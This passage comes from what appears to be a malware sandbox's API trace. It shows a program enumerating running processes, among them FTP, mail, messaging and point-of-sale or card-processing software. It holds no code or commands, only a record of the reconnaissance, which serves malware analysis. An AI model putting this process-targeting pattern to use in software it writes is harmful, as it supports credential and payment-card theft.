(lpString="spoolsv.exe") returned 11 [0055.651] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.651] lstrlenW (lpString="taskhost.exe") returned 12 [0055.651] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.652] lstrlenW (lpString="svchost.exe") returned 11 [0055.652] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0055.652] lstrlenW (lpString="taskeng.exe") returned 11 [0055.652] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0055.652] lstrlenW (lpString="judges-present.exe") returned 18 [0055.652] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0055.653] lstrlenW (lpString="physics.exe") returned 11 [0055.653] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0055.653] lstrlenW (lpString="belongs.exe") returned 11 [0055.653] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0055.653] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0055.654] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0055.654] lstrlenW (lpString="gadgets.exe") returned 11 [0055.654] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0055.654] lstrlenW (lpString="geneva.exe") returned 10 [0055.654] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0055.655] lstrlenW (lpString="elephant.exe") returned 12 [0055.655] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0055.655] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0055.655] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0055.655] lstrlenW (lpString="roger-venice.exe") returned 16 [0055.655] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0055.656] lstrlenW (lpString="cite.exe") returned 8 [0055.656] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0055.656] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0055.656] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0055.656] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0055.656] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0055.657] lstrlenW (lpString="artist_selecting.exe") returned 20 [0055.657] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0055.657] lstrlenW (lpString="poems.exe") returned 9 [0055.657] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0055.658] lstrlenW (lpString="bow.exe") returned 7 [0055.658] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0055.658] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0055.658] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0055.658] lstrlenW (lpString="businesses.exe") returned 14 [0055.658] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0055.659] lstrlenW (lpString="lucky.exe") returned 9 [0055.659] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0055.659] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0055.659] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0055.659] lstrlenW (lpString="healthmanner.exe") returned 16 [0055.659] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0055.660] lstrlenW (lpString="3dftp.exe") returned 9 [0055.660] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0055.660] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0055.660] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0055.661] lstrlenW (lpString="alftp.exe") returned 9 [0055.661] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0055.661] lstrlenW (lpString="barca.exe") returned 9 [0055.661] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0055.661] lstrlenW (lpString="bitkinex.exe") returned 12 [0055.661] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0055.662] lstrlenW (lpString="coreftp.exe") returned 11 [0055.662] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0055.662] lstrlenW (lpString="far.exe") returned 7 [0055.662] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0055.662] lstrlenW (lpString="filezilla.exe") returned 13 [0055.662] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0055.663] lstrlenW (lpString="flashfxp.exe") returned 12 [0055.663] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0055.663] lstrlenW (lpString="fling.exe") returned 9 [0055.663] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0055.663] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0055.664] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0055.664] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0055.664] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0055.664] lstrlenW (lpString="icq.exe") returned 7 [0055.664] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0055.665] lstrlenW (lpString="leechftp.exe") returned 12 [0055.665] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0055.665] lstrlenW (lpString="ncftp.exe") returned 9 [0055.665] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0055.666] lstrlenW (lpString="notepad.exe") returned 11 [0055.666] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0055.666] lstrlenW (lpString="operamail.exe") returned 13 [0055.666] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0055.667] lstrlenW (lpString="pidgin.exe") returned 10 [0055.667] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0055.714] lstrlenW (lpString="scriptftp.exe") returned 13 [0055.714] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0055.715] lstrlenW (lpString="skype.exe") returned 9 [0055.715] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0055.715] lstrlenW (lpString="smartftp.exe") returned 12 [0055.715] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0055.716] lstrlenW (lpString="thunderbird.exe") returned 15 [0055.716] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0055.717] lstrlenW (lpString="totalcmd.exe") returned 12 [0055.717] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0055.717] lstrlenW (lpString="trillian.exe") returned 12 [0055.717] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0055.718] lstrlenW (lpString="webdrive.exe") returned 12 [0055.718] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0055.718] lstrlenW (lpString="whatsapp.exe") returned 12 [0055.718] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0055.719] lstrlenW (lpString="winscp.exe") returned 10 [0055.719] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0055.719] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0055.719] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0055.720] lstrlenW (lpString="active-charge.exe") returned 17 [0055.720] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0055.720] lstrlenW (lpString="accupos.exe") returned 11 [0055.720] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0055.721] lstrlenW (lpString="afr38.exe") returned 9 [0055.721] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0055.721] lstrlenW (lpString="aldelo.exe") returned 10 [0055.721] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0055.722] lstrlenW (lpString="ccv_server.exe") returned 14 [0055.722] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0055.722] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0055.722] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0055.723] lstrlenW (lpString="creditservice.exe") returned 17 [0055.723] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0055.723] lstrlenW (lpString="edcsvr.exe") returned 10 [0055.723] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0055.724] lstrlenW (lpString="fpos.exe") returned 8 [0055.724] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0055.724] lstrlenW (lpString="isspos.exe") returned 10 [0055.724] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0055.725] lstrlenW (lpString="mxslipstream.exe") returned 16 [0055.725] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0055.725] lstrlenW (lpString="omnipos.exe") returned 11 [0055.725] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0055.726] lstrlenW (lpString="spcwin.exe") returned 10 [0055.726] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0055.726] lstrlenW (lpString="spgagentservice.exe") returned 19 [0055.726] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0055.727] lstrlenW (lpString="utg2.exe") returned 8 [0055.727] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0055.727] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0055.727] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0055.728] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0055.728] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0055.728] lstrlenW (lpString="notebook.exe") returned 12 [0055.728] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0055.729] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0055.729] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 